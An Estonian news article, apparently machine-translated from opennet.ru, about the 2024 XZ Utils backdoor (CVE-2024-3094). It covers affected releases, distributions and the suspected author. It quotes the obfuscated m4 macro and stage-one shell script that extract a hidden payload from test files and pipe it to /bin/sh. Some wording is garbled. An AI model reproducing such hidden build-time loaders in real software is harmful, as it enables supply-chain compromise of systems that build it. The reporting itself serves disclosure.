XZ Utils pakendis, mis sisaldab liblzma raamatukogu ja tööriistu .xz formaadis kompresseeritud andmetega töötamiseks, avastati tagaust (CVE-2024-3094), mis võimaldab kinni püüda ja muuta andmeid, millega töötavad programmid, mis on seotud liblzma raamatukoguga. Tagauste peamine sihtmärk on OpenSSH server, mis mõnedes jaotustes on seotud libsystemd raamatukoguga, mis omakorda kasutab liblzma. sshd sidumine haavatava raamatukoguga võimaldab ründajatel pääseda SSH-serverisse ilma autentimata.
Tagaust leidus ametlikes väljaannetes 5.6.0 ja 5.6.1, mis avaldati 24. veebruaril ja 9. märtsil, mis jõudsid mitmete jaotuste ja hoidlate hulka, näiteks Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ja 40-beta, openSUSE factory ja tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Kõigile xz 5.6.0 ja 5.6.1 väljaannete kasutajatele soovitatakse kiiresti naasta versioonile 5.4.6.
Probleemi leevendavatest teguritest võib märkida, et liblzma tagaustega versioon ei jõudnud suurte jaotuste stabiilsetesse väljaannetesse, kuid see mõjutas openSUSE Tumbleweed ja Fedora 40-beta. Arch Linux ja Gentoo kasutasid haavatavat zx versiooni, kuid ei olnud rünnaku all, kuna ei rakendanud openssh patch'i systemd-notify toetamiseks, mis viib sshd sidumiseni liblzma-ga. Tagausud mõjutavad ainult x86_64 süsteeme, mis põhinevad Linuxi tuumadel ja C-rahade Glibc-l.
Tagauste aktiveerimise kood oli peidetud m4-makrode hulka failis build-to-host.m4, mida kasutati automake tööriista poolt ehitamisel. Ehituse käigus genereeriti keerukate obfuskeeritud operatsioonide käigus arhiveeritud failide (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) põhjal objekti fail, mis sisaldas kahjulikku koodi, mis lisati liblzma raamatukogusse ja muutis mõnede funktsioonide tööloogikat. Tagaust aktiveerivad m4-makrod olid tärn-arkitektuuri väljaannetes, kuid puudusid Git-hoidlas. Kahjulikud testfailid olid seevastu hoidlas olemas, see tähendab, et tagauste sissejuhatajal oli juurdepääs nii hoidla kui ka väljaannete jaotamise protsessidele.
Kui liblzma-d rakendustes kasutati, sai pahatahtlikke muutusi kasutada andmete tabamiseks või muutmiseks, samuti sshd töö mõjutamiseks. Eelkõige asendas pahavara RSA_public_decrypt funktsiooni, et kõrvale hiilida sshd autentimisprotsessist. Tagauks sisaldas avastamise vältimise meetodeid ning ei avaldunud, kui keskkonnamuutujad LANG ja TERM olid seadistatud (st protsessi käivitamisel terminalis) ja kui keskkonnamuutujad LD_DEBUG ja LD_PROFILE ei olnud seadistatud, ning aktiveerus ainult siis, kui käidi käivitusfaili /usr/sbin/sshd. Tagaukse varustuses olid ka vahendid, mis tuvastasid käivitamise silumisümbrustes.
Eelkõige kasutati failis m4/build-to-host.m4 konstruktsioone gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2> /dev/null` ... gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null’
Esimeses konstruktsioonis leidis grep failist tests/files/bad-3-corrupt_lzma2.xz, mille lahti pakkimisel moodustati skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f .. / ../config.status; then eval `grep ^srcdir= .. / ../config.status` srcdir=«.. / ../$srcdir» fi export i=«((head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Kuidas kurjategijatele õnnestus pääseda projekti xz infrastruktuuri, ei ole veel selge. Samuti ei ole teada, kui palju kasutajaid ja projekte on tagaküljest põhjustatud tegevuste tõttu kompromiteeritud. Eeldatav tagakülj autor (JiaT75 — Jia Tan), kes jagas hoidlas kahjuliku koodiga arhiive, suhtles Fedora arendajatega ja saatis Debianile pull-päringuid, mis olid seotud distributsioonide üleminekuga xz 5.6.0 harule, ning ei äratanud kahtlusi, kuna ta on osalenud xz arenduses viimased kaks aastat ning on teise arendajana teinud kõige rohkem muudatusi. Lisaks projektile xz on eeldatav tagakülj autor osalenud ka xz-java ja xz-embedded paketide arenduses. Veelgi enam, Jia Tan kutsuti paar päeva tagasi XZ Embedded projekti peamiste hooldajate hulka, mida kasutatakse Linuxi kärjes.
Kurjategijate muudatus leiti pärast liigse CPU tarbimise ja valgrind'i genereeritud vigade analüüsi, kui ühendati ssh kaudu Debian sid põhiste süsteemidega. On tähelepanuväärne, et xz 5.6.1 versioonis sisaldusid muudatused, mille eeldatav autor oli teinud tagaküljefaili vastuseks kaebustele töö aeglustumise ja sshd katkestuste kohta, mis tekkisid pärast värskendamist versioonile zx 5.6.0 koos tagaküljega. Lisaks tegi Jia Tan eelmisel aastal muudatusi, mis olid kokkusobimatud „-fsanitize=address” kontrollrežiimiga, mis viis selle välja lülitamiseni fuzzing-testeerimisel.
Allikas: opennet.ru
